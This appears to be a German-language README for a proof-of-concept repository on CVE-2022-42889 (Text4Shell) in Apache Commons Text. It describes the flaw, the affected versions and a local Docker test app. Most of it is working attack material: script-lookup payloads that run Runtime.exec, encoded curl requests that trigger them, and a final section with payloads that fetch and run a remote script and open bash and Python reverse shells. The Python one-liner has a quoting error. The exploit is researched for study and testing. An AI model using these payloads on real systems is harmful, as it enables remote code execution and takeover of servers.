
CVE-2022-42889 auch bekannt als Text4Shell-Forschung & PoC
PoC für die kürzlich entdeckte Schwachstelle in Apache Commons Text von @pwntester:
Wie auf https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/ erwähnt:
Die Schwachstelle besteht im StringSubstitutor Interpolator-Objekt. Ein Interpolator wird durch die Methode StringSubstitutor.createInterpolator() erstellt und ermöglicht String-Nachschlagevorgänge, wie in StringLookupFactory definiert. Dies kann durch Übergabe einer Zeichenkette „${prefix:name}“ ausgenutzt werden, wobei das Präfix das genannte Nachschlagewerk ist. Die Verwendung der Nachschlagevorgänge „script“, „dns“ oder „url“ würde es einer manipulierten Zeichenkette ermöglichen, beliebige Skripte auszuführen, wenn sie an das Interpolator-Objekt übergeben wird.
Die betroffenen Apache Commons Text Versionen sind 1.5 bis 1.9. Es wurde in Version 1.10 behoben.
Um aus der Ferne ausgenutzt zu werden, muss vom Angreifer kontrollierte Eingabe als Eingabe für die StringSubstitutor-Interpolation verwendet werden. Insbesondere in den Methoden StringSubstitutor.replace() oder StringSubstitutor.replaceIn()
Seit JDK 15 wurde die Nashorn JavaScript Engine entfernt: https://openjdk.org/jeps/372. Aber wenn Abhängigkeiten von Drittanbietern wie JEXL enthalten sind, könnte RCE in Apache Commnos Text auftreten (https://twitter.com/pwntester/status/1582321752566161409)
Er kann ausgenutzt werden, um RCE zu erlangen.
Nashorn-Engine:
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
Bei Verwendung von JEXL von Drittanbietern:
${script:JEXL:''.getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/pwned')}
Es kann zu einem DNS-Lookup führen:
${dns:address|commons.apache.org}
Es verbindet sich mit der angegebenen URL und versucht, den Inhalt abzurufen:
${url:UTF-8:https://nvd.nist.gov/vuln/detail/CVE-2022-42889}
Template basierend auf https://start.spring.io/
mvn clean package -DskipTests
java -jar spring-boot-0.0.1-SNAPSHOT.jar
sudo docker build -t text4shell . -f Dockerfile.Java11
sudo docker run -p 8080:8080 text4shell
sudo docker build -t text4shell . -f Dockerfile.Java19
sudo docker run -p 8080:8080 text4shell
Es werden verschiedene Endpunkte bereitgestellt, um die genannten Angriffsvektoren zu testen.

curl http://localhost:8080/poc1


curl http://localhost:8080/poc2


curl http://localhost:8080/poc3

curl http://localhost:8080/message
curl http://localhost:8080/message?text=1

Mit Nashorn:
curl http://localhost:8080/message?text=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27touch%20%2Ftmp%2Ffoo%27)%7D

Mit JEXL:
curl http://localhost:8080/message?text=%24%7Bscript%3AJEXL%3A%27%27.getClass().forName(%27java.lang.Runtime%27).getRuntime().exec(%27touch%20%2Ftmp%2Fpwned%27)%7D


Der Einfachheit halber verwende ich das Standard-Docker-Interface für den Netcat-Listener. Nach einigem Herumprobieren bin ich auf diese Payloads mit Bash- und Python-Reverse-Shells gekommen, die gut funktionieren:
${script:javascript:java.lang.Runtime.getRuntime().exec('curl -s http://172.17.0.1:3333/rev.sh -o /tmp/rev.sh')}
${script:javascript:java.lang.Runtime.getRuntime().exec('bash /tmp/rev.sh')}
Wobei rev.sh mit diesen möglichen Inhalten bereitgestellt wird:
bash -i >& /dev/tcp/172.17.0.1/5555 0>&1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

